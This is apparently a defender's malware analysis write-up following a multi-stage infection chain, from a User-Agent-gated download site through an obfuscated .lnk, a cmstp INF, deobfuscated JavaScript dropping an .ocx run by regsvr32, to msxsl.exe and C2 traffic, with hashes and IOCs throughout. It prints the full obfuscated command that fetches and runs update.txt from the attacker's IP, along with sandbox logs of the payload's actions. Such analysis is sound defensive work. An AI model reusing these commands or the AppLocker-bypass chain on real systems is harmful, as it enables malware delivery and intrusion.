The first foothold of the Malware was delivered via IP Address (IOC) 209.141.61.11. When the user navigates to that server, depending on the User-Agent string of the request, you’ll either get a signed, legitimate, non-malicious PDF document (Artifact #1 ZIP, 1d2d5b2befe5fcfea8e9303d87b92adaaf9f161a82e0e1341008518d1585e81a, VT 0/60) or a page with a simple CAPTCHA (Artifact #2 PCAP, dfed73960bd9aa030cc5d84df18eaf2d295dfa7f990614c53673e74b84034ef5, VT N/A) that ultimately leads to a ZIP file (Artifact #3 PCAP, 38dcef9b23f21a98fe9dde3f5b5eb643292bf41556b7e4d5da30484848c4cf3d, VT N/A and Artifact #4 ZIP, db647308649e2d3815f7d53d024ac50e8dead8a3caf33bc203dac90b5dbb1596, VT 15/61).
The ZIP file contains a single .lnk file (Artifact #5 LNK, c32bb3eb1634d6765e41fcb7071d1ca2b70bb50dc3cb7c9da84a00427b3dd642, VT 15/56)
Since lnk files are not easy to manually parse, I used pylnker:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
out: Lnk File: artifacts/artifact5.lnk
Link Flags: HAS SHELLIDLIST | POINTS TO FILE/DIR | NO DESCRIPTION | NO RELATIVE PATH STRING | NO WORKING DIRECTORY | HAS CMD LINE ARGS | HAS CUSTOM ICON
File Attributes: ARCHIVE
Create Time: 1601-01-01 11:39:04
Access Time: 1601-01-01 11:39:04
Modified Time: 1601-01-01 11:39:04
Target length: 236032
Icon Index: 2
ShowWnd: SW_NORMAL
HotKey: 0
Target is on local volume
Volume Type: Fixed (Hard Disk)
Volume Serial: 00000000
Vol Label:
Base Path:
(App Path:) Remaining Path:
Command Line: /v /c set "UoglocMF5002=items"&&callset"UoglocMF94812=%UoglocMF5002:~4,1%"&&!UoglocMF94812!et "UoglocMF5127=a"&&!UoglocMF94812!et "UoglocMF6603=t"&&!UoglocMF94812!et "UoglocMF06364=d"&&!UoglocMF94812!et "UoglocMF9305=c"&&call!UoglocMF94812!et "UoglocMF21627=%ran!UoglocMF06364!om%.inf"&&call!UoglocMF94812!et "UoglocMF6838=%app!UoglocMF06364!ata%\Micro!UoglocMF94812!oft\!UoglocMF21627!"&&!UoglocMF94812!et "UoglocMF14637=."&&!UoglocMF94812!et "UoglocMF15608="^"&&(for%l in ("[ver!UoglocMF94812!ion]" "!UoglocMF94812!ign!UoglocMF5127!ture=$Window!UoglocMF94812! NT$" "[!UoglocMF06364!e!UoglocMF94812!tinationdirs]" "2D0D=01" "[!UoglocMF06364!efaultin!UoglocMF94812!tall_singleu!UoglocMF94812!er]" "UnRegis!UoglocMF6603!erOCXs=F251A5" "!UoglocMF06364!elfiles=2D0D" "[F251A5]" "%11%\%UoglocMF7741%crO%UoglocMF37180%j,NI,%UoglocMF2085%%UoglocMF5568%%UoglocMF5568%p%UoglocMF54670%%UoglocMF92584%%UoglocMF92584%209!UoglocMF14637!%UoglocMF0342%141!UoglocMF14637!%UoglocMF0342%61!UoglocMF14637!%UoglocMF0342%11/update!UoglocMF14637!%UoglocMF0342%txt" "[2D0D]" "!UoglocMF21627!" "[!UoglocMF94812!!UoglocMF6603!rings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "!UoglocMF94812!ervicen!UoglocMF5127!me=' '" "!UoglocMF94812!hortsvcn!UoglocMF5127!me=' '") do @e!UoglocMF9305!ho %~l)>"!UoglocMF6838!"&& !UoglocMF94812!t!UoglocMF5127!rt "" /MIN wmi!UoglocMF9305! proce!UoglocMF94812!s call !UoglocMF9305!rea!UoglocMF6603!e "cm!UoglocMF94812!!UoglocMF6603!p /ns /!UoglocMF94812! /su !UoglocMF6838!"Icon filename: ieframe.dll
the .lnk file has a cmd command but it looks encoded/obfuscated. Let’s work out a way to extract the command.
Using Batch Interpreter, we can see the command that the attacker is trying to execute:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(.env) ali@ali-pc > python batch_interpreter.py
Please enter an obfuscated batch command:
/v /c set "UoglocMF5002=items"&&callset"UoglocMF94812=%UoglocMF5002:~4,1%"&&!UoglocMF94812!et "UoglocMF5127=a"&&!UoglocMF94812!et "UoglocMF6603=t"&&!UoglocMF94812!et "UoglocMF06364=d"&&!UoglocMF94812!et "UoglocMF9305=c"&&call!UoglocMF94812!et "UoglocMF21627=%ran!UoglocMF06364!om%.inf"&&call!UoglocMF94812!et "UoglocMF6838=%app!UoglocMF06364!ata%\Micro!UoglocMF94812!oft\!UoglocMF21627!"&&!UoglocMF94812!et "UoglocMF14637=."&&!UoglocMF94812!et "UoglocMF15608="^"&&(for%l in ("[ver!UoglocMF94812!ion]" "!UoglocMF94812!ign!UoglocMF5127!ture=$Window!UoglocMF94812! NT$" "[!UoglocMF06364!e!UoglocMF94812!tinationdirs]" "2D0D=01" "[!UoglocMF06364!efaultin!UoglocMF94812!tall_singleu!UoglocMF94812!er]" "UnRegis!UoglocMF6603!erOCXs=F251A5" "!UoglocMF06364!elfiles=2D0D" "[F251A5]" "%11%\%UoglocMF7741%crO%UoglocMF37180%j,NI,%UoglocMF2085%%UoglocMF5568%%UoglocMF5568%p%UoglocMF54670%%UoglocMF92584%%UoglocMF92584%209!UoglocMF14637!%UoglocMF0342%141!UoglocMF14637!%UoglocMF0342%61!UoglocMF14637!%UoglocMF0342%11/update!UoglocMF14637!%UoglocMF0342%txt" "[2D0D]" "!UoglocMF21627!" "[!UoglocMF94812!!UoglocMF6603!rings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "!UoglocMF94812!ervicen!UoglocMF5127!me=' '" "!UoglocMF94812!hortsvcn!UoglocMF5127!me=' '") do @e!UoglocMF9305!ho %~l)>"!UoglocMF6838!"&& !UoglocMF94812!t!UoglocMF5127!rt "" /MIN wmi!UoglocMF9305! proce!UoglocMF94812!s call !UoglocMF9305!rea!UoglocMF6603!e "cm!UoglocMF94812!!UoglocMF6603!p /ns /!UoglocMF94812! /su !UoglocMF6838!"/v /c set "UoglocMF5002=items"call set "UoglocMF94812=s"set "UoglocMF5127=a"set "UoglocMF6603=t"set "UoglocMF06364=d"set "UoglocMF9305=c"call set "UoglocMF21627=.inf"call set "UoglocMF6838=\Microsoft\.inf"set "UoglocMF14637=."set "UoglocMF15608=""(for 11UoglocMF7741%cro%UoglocMF37180%j,ni,%UoglocMF2085%%UoglocMF5568%%uoglocmf5568%p%uoglocmf54670%%uoglocmf92584%%uoglocmf92584%209.%uoglocmf0342%141.%uoglocmf0342%61.%uoglocmf0342%11/update.%uoglocmf0342%txt" "[2D0D]" ".inf" "[strings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "servicename=' '" "shortsvcname=' '") do @echo %~l)>"\Microsoft\.inf"start "" /MIN wmic process call create "cmstp /ns /s /su \Microsoft\.inf"
Looks like the automated string gave us some clues but didn’t do the job very well especially in the “for” loop inside the batch script. After manually replacing some strings/variables, this cmd showed up:
very interesting stuff already. We can see that the cmd contains two distinct sections. The first part creates a “RANDOM.inf” file (RANDOM is a random number generated via %random% command) and the second part starts it using WMI and cmstp. Let’s dig deeper in the first part and see how Microsoft.inf gets generated.
Sidenote: cmstp is often used to bypass Applocker, Reference. MITRE ATT&CK (#T1218.003) links this technique to Cobalt Group and MuddyWater.
Update.txt (Artifact #6 TXT, c7da11e38583d4d8fa0597cc3ac17b24d210b2b59f9c22b1f6f7224a16ea9328, VT 3/59) is only downloadable via the user-agent string that cmstp uses by default, making the analyst’s job a bit difficult.
Fortunately, update.txt is downloaded via HTTP so the PCAP file containing update.txt (Artifact #7 PCAP, 6b2da53f8bcae0cd99bdae18993bf8d485ac56be33d01af8f18022b9888eebd3, VT N/A) has a lot of information about the request and response:
now, update.txt is in our hands. Let’s see how it looks like
update.txt looks like a XML scriptlet containing a heavily obfuscated javascript payload. Also, .txt extension won’t stop the scriptlet from being executed Reference. There have been similar malware before (Reference) Starting point is here:
1000+ lines of JS code, with a very interesting-looking char table:
After scratching my head for hours on this JS, I finally came up with a way to de-obfuscate some of the malware. Using the awesome project malware-jail, I was able to decode a piece of the malware that could be the next key (Artifact #8, ecd80124a34daf7d8a7a73ee412aabc977313888c8d70c2190b306ed28dc72f9, VT N/A). This leads us to Stage 3 of the malware
Stage 3, another JS
After adding the variables from “stage2” to “stage3”, I created the file artifact9.js (Artifact #9, 4dbb4755cbe105673725055f090ff830f042e8809c1a708db5c044f93dbcb6b4, VT N/A).nsv
10 Oct 20:22:29 - mailware-jail, a malware sandbox ver. 0.20
10 Oct 20:22:29 - ------------------------
10 Oct 20:22:29 - Arguments: -e env/utils.js -e env/eval.js -e env/function.js -e env/wscript.js -e env/other.js -e env/console.js --down=y ../try2/output.txt.js
10 Oct 20:22:29 - Sandbox environment sequence: env/utils.js,env/eval.js,env/function.js,env/wscript.js,env/other.js,env/console.js
10 Oct 20:22:29 - Malware files: ../try2/output.txt.js
10 Oct 20:22:29 - Execution timeout set to: 60 seconds
10 Oct 20:22:29 - Output file for sandbox dump: sandbox_dump_after.json
10 Oct 20:22:29 - Output directory for generated files: output/
10 Oct 20:22:29 - Download from remote server: Yes
10 Oct 20:22:29 - ==> Preparing Sandbox environment.
10 Oct 20:22:29 - => Executing: env/utils.js quitely
10 Oct 20:22:29 - => Executing: env/eval.js quitely
10 Oct 20:22:29 - => Executing: env/function.js quitely
10 Oct 20:22:29 - => Executing: env/wscript.js quitely
10 Oct 20:22:29 - => Executing: env/other.js quitely
10 Oct 20:22:29 - => Executing: env/console.js quitely
10 Oct 20:22:29 - ==> Executing malware file(s). =========================================
10 Oct 20:22:29 - => Executing: ../try2/output.txt.js verbosely, reporting silent catches
10 Oct 20:22:29 - Saving: output/.._try2_output.txt.js
10 Oct 20:22:29 - Saving: output/tr_.._try2_output.txt.js
10 Oct 20:22:29 - WScript.scriptfullname = (string) '../try2/output.txt.js'
10 Oct 20:22:29 - WScript.arguments = (object) '../try2/output.txt.js,xyz'
10 Oct 20:22:29 - new Function(function nvmlxxyx81(nvmlxxyx177) {return nvmlxxyx177.length;}function nvmlxxyx6715(nvmlxxyx5611){return String.fromCharCode(nvmlxxyx5611);}function nvmlxxyx5562(nvmlxxyx1564) {var nvmlxxyx3607 = [];var nvmlxxyx1688 = [];var nvmlxxyx4682 = "";var nvml ... (truncated)) => Function[5]
10 Oct 20:22:29 - Calling Function[5]() on sandbox
10 Oct 20:22:29 - Returning: 'undefined'
10 Oct 20:22:29 - ==> Cleaning up sandbox.
10 Oct 20:22:29 - ==> Script execution finished, dumping sandbox environment to a file.
10 Oct 20:22:29 - The sandbox context has been saved to: sandbox_dump_after.json
10 Oct 20:22:29 - Saving: output/Function[5].js
10 Oct 20:22:29 - mailware-jail, a malware sandbox ver. 0.20
10 Oct 20:22:29 - ------------------------
10 Oct 20:22:29 - Arguments: -c ./config.json -e env/utils.js -e env/eval.js -e env/function.js -e env/wscript.js -e env/other.js -e env/console.js -e ../try2/output.txt.js-output -e ../try2/env-dummy.js --down=y ../try2/Function14.js
10 Oct 20:22:29 - Sandbox environment sequence: env/utils.js,env/eval.js,env/function.js,env/wscript.js,env/other.js,env/console.js,../try2/output.txt.js-output,../try2/env-dummy.js
10 Oct 20:22:29 - Malware files: ../try2/Function14.js
10 Oct 20:22:29 - Execution timeout set to: 60 seconds
10 Oct 20:22:29 - Output file for sandbox dump: sandbox_dump_after.json
10 Oct 20:22:29 - Output directory for generated files: output/
10 Oct 20:22:29 - Download from remote server: Yes
10 Oct 20:22:29 - ==> Preparing Sandbox environment.
10 Oct 20:22:29 - => Executing: env/utils.js quitely
10 Oct 20:22:29 - => Executing: env/eval.js quitely
10 Oct 20:22:29 - => Executing: env/function.js quitely
10 Oct 20:22:29 - => Executing: env/wscript.js quitely
10 Oct 20:22:29 - => Executing: env/other.js quitely
10 Oct 20:22:29 - => Executing: env/console.js quitely
10 Oct 20:22:29 - => Executing: ../try2/output.txt.js-output quitely
10 Oct 20:22:29 - => Executing: ../try2/env-dummy.js quitely
10 Oct 20:22:29 - ==> Executing malware file(s). =========================================
10 Oct 20:22:29 - => Executing: ../try2/Function14.js verbosely, reporting silent catches
10 Oct 20:22:29 - Saving: output/.._try2_Function14.js
10 Oct 20:22:29 - Saving: output/tr_.._try2_Function14.js
10 Oct 20:22:29 - WScript.scriptfullname = (string) '../try2/Function14.js'
10 Oct 20:22:29 - WScript.arguments = (object) '../try2/Function14.js,xyz'
10 Oct 20:22:29 - ActiveXObject(WScript.Shell)
10 Oct 20:22:29 - new WScript.Shell[6]
10 Oct 20:22:29 - new WshEnvironment[7](PROCESS)
10 Oct 20:22:29 - WScript.Shell[6].Environment(PROCESS)
10 Oct 20:22:29 - WshEnvironment[7](PROCESS)(APPDATA) => C:\Users\User\AppData\Roaming
10 Oct 20:22:29 - ActiveXObject(ADODB.Stream)
10 Oct 20:22:29 - new ADODB_Stream[8]
10 Oct 20:22:29 - ADODB_Stream[8].Open()
10 Oct 20:22:29 - ADODB_Stream[8].position = (number) '0'
10 Oct 20:22:29 - ADODB_Stream[8].type = (number) '2'
10 Oct 20:22:29 - ADODB_Stream[8].charset = (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].type.get() => (number) '2'
10 Oct 20:22:29 - ADODB_Stream[8].charset.get() => (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].charset.get() => (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].content = (object) '??????????????????????>???????????????????????'???????????)???????????????&??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ... (truncated)'
10 Oct 20:22:29 - ADODB_Stream[8].charset.get() => (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].WriteText(str) - 23040 bytes, encoding: 437
10 Oct 20:22:29 - ADODB_Stream[8].content.get() => (object) '??????????????????????>???????????????????????'???????????)???????????????&??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ... (truncated)'
10 Oct 20:22:29 - ADODB_Stream[8].size = (number) '23040'
10 Oct 20:22:29 - ADODB_Stream[8].SaveToFile(C:\Users\User\AppData\Roaming\Microsoft\17939.doc, undefined)
10 Oct 20:22:29 - ADODB_Stream[8].content.get() => (object) '??????????????????????>???????????????????????'???????????)???????????????&??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ... (truncated)'
10 Oct 20:22:29 - ADODB_Stream[8].Close()
10 Oct 20:22:29 - GetObject(winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:29 - new AutomationObject[9](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:29 - ActiveXObject(WScript.Shell)
10 Oct 20:22:29 - new WScript.Shell[10]
10 Oct 20:22:29 - FIXME: WScript.Shell[10].RegRead(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\) - unknown key
10 Oct 20:22:29 - WScript.Shell[10].RegRead(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\) => undefined
10 Oct 20:22:29 - >>> FIXME: AutomationObject[9](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)[Get] not defined
10 Oct 20:22:29 - >>> Silencing catch TypeError: nvmlxxyx3818.Get is not a function
at nvmlxxyx31 (../try2/Function14.js:1:6806)
at nvmlxxyx9727 (../try2/Function14.js:1:5108)
at ../try2/Function14.js:1:8094
at Script.runInContext (vm.js:142:18)
at Object.runInContext (vm.js:293:6)
at run_in_ctx (jailme.js:324:16)
at Object.<anonymous> (jailme.js:359:20)
at Module._compile (internal/modules/cjs/loader.js:1063:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1092:10)
at Module.load (internal/modules/cjs/loader.js:928:32)
10 Oct 20:22:29 - WScript.Shell[6].Run("C:\Users\User\AppData\Roaming\Microsoft\17939.doc", 1, 0)
10 Oct 20:22:30 - ActiveXObject(ADODB.Stream)
10 Oct 20:22:30 - new ADODB_Stream[11]
10 Oct 20:22:30 - ADODB_Stream[11].Open()
10 Oct 20:22:30 - ADODB_Stream[11].position = (number) '0'
10 Oct 20:22:30 - ADODB_Stream[11].type = (number) '2'
10 Oct 20:22:30 - ADODB_Stream[11].charset = (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].type.get() => (number) '2'
10 Oct 20:22:30 - ADODB_Stream[11].charset.get() => (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].charset.get() => (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].content = (object) 'MZ??????????????????????@???????????????????????????????????????????????!??L?!This program cannot be run in DOS mode.???$???????PE??L???R??^???????????!???2???????????????????????????????????????????????????????????????????????????????????????????? ? ... (truncated)'
10 Oct 20:22:30 - ADODB_Stream[11].charset.get() => (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].WriteText(str) - 300546 bytes, encoding: 437
10 Oct 20:22:30 - ADODB_Stream[11].content.get() => (object) 'MZ??????????????????????@???????????????????????????????????????????????!??L?!This program cannot be run in DOS mode.???$???????PE??L???R??^???????????!???2???????????????????????????????????????????????????????????????????????????????????????????? ? ... (truncated)'
10 Oct 20:22:30 - ADODB_Stream[11].size = (number) '300546'
10 Oct 20:22:30 - ADODB_Stream[11].SaveToFile(C:\Users\User\AppData\Roaming\Microsoft\4242.ocx, undefined)
10 Oct 20:22:30 - ADODB_Stream[11].content.get() => (object) 'MZ??????????????????????@???????????????????????????????????????????????!??L?!This program cannot be run in DOS mode.???$???????PE??L???R??^???????????!???2???????????????????????????????????????????????????????????????????????????????????????????? ? ... (truncated)'
10 Oct 20:22:30 - ADODB_Stream[11].Close()
10 Oct 20:22:30 - GetObject(winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:30 - new AutomationObject[12](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:30 - >>> FIXME: AutomationObject[12](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)[Get] not defined
10 Oct 20:22:30 - >>> Silencing catch TypeError: nvmlxxyx4469.Get is not a function
at nvmlxxyx31 (../try2/Function14.js:1:7698)
at nvmlxxyx9727 (../try2/Function14.js:1:5108)
at ../try2/Function14.js:1:8094
at Script.runInContext (vm.js:142:18)
at Object.runInContext (vm.js:293:6)
at run_in_ctx (jailme.js:324:16)
at Object.<anonymous> (jailme.js:359:20)
at Module._compile (internal/modules/cjs/loader.js:1063:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1092:10)
at Module.load (internal/modules/cjs/loader.js:928:32)
10 Oct 20:22:30 - WScript.Shell[6].Run(regsvr32 /s /n /i "C:\Users\User\AppData\Roaming\Microsoft\4242.ocx", 1, 0)
10 Oct 20:22:30 - ==> Cleaning up sandbox.
10 Oct 20:22:30 - ==> Script execution finished, dumping sandbox environment to a file.
10 Oct 20:22:30 - The sandbox context has been saved to: sandbox_dump_after.json
10 Oct 20:22:30 - Saving: output/Function[5].js
10 Oct 20:22:30 - Saving: output/C__Users_User_AppData_Roaming_Microsoft_17939.doc
10 Oct 20:22:30 - Saving: output/C__Users_User_AppData_Roaming_Microsoft_4242.ocx
CAR-2019-04-003: Squiblydoo talks about the usage of regsvr32, this malware also uses regsvr32 /s /n /i "C:\Users\User\AppData\Roaming\Microsoft\4242.ocx to avoid defense inside the machine (MITRE ATT&CK T1218.010).
The doc file (Artifact #11, ce638eb65e8e8a54becb218f05ba0aadbaded36fc0152591dc3e62b080c46c85, VT N/A) is a nifty little misdirect too. The Word document is not malicious at all and it’s mostly empty.
The ocx file (Artifact #10, 229b5cc70f69beb555d787c626674946902307546f266ac7c97a17937f1e6510, VT 3/68) marks the Stage 4 of this Malware. Interesting that this file tries to impersonate a popular legitimate SSH client software’s DLL:
1
2
3
4
5
6
7
File Version Information
Copyright Copyright (C) 2000-2020 by Bitvise Limited.
Product Bitvise SSH Client
Description Bitvise SSH Client Title Helper for Remote Desktop
Original Name MstscTitle32.dll
Internal Name MstscTitleDll
File Version 8.38.0.0
in the midst of ocx file being implemented and executed, the malware also creates a VPN profile named Yay in the victim’s machine. The VPN does not have a destination connection IP so presumably this profile will come in play in the later stages of execution.
The connection profile file is captured under Artifact #12 (a0c2b522a86e729467d27cf98bd3c9a5264ebc1e1d5113d2bf2040423578d66b, VT N/A).
Stage 5, brand new XML and a C2!
the ocx run will run for 7+ minutes without showing any sign of activity, presumably to ensure any regular sandbox times out. For example, any.run’s free plan is limited to 60 sec, SEARCHER plan is 360 sec and HUNTER is 660 sec, so this is a very simple and effective way to avoid detection by sandbox apps.
After minutes of being idle, the malware drops the file msxsl.exe into C:\Users\User\AppData\Roaming\Microsoft\msxsl.exe (Artifact #13, 35ba7624f586086f32a01459fcc0ab755b01b49d571618af456aa49e593734c7, VT 0). This binary is a legitimate, signed one offered by Microsoft. According to Microsoft:
The msxsl.exe command line utility enables you to perform command line Extensible Stylesheet Language (XSL) transformations using the Microsoft® XSL processor.
In the meantime, two new .txt files are dropped to C:\Users\User\AppData\Roaming\Microsoft\, and they will be executed by msxls:
The first packet that we see after msxls runs is a PTR query to (IOC) 209.141.59.48
C2 IP address remains 209.141.59.48. The malware creates a TLS 1.2 connection to this IP and sends an encrypted text to the /update endpoint
As it’s shown on the screenshot, there is a result string (encoded/encrypted) coming back to the infected box. Immidiately after this response, the malware sends another request to the same endpoint but with significantly more encrypted request data
The C2 responds with 0 and there’s no more connectivity after that for ~30 minutes.
I assume the malware de-activates itself at this point and won’t try the next stages of the attack.
Artifact #16 (d74d33c2f619f110b4d6f7f9f0e024e8168fc0cf3903e6bf0628f88f048c53c0, VT N/A) has all the network communication after the msxsl binary’s execution.
Extra artifacts for further investigation:
procmon output in LZ4 archive format (Artifact #17, d9344bda500cd7cd94354387513ba9d83ee03ba558dca1926b09a3e2d734bbf3, VT N/A)
fiddler saz output of the SSL-intercepted traffic (Artifact #18, b6dd044686855035e864a67460915ad0e0d7cca5b67dfe22fe2125e65e121871, VT N/A)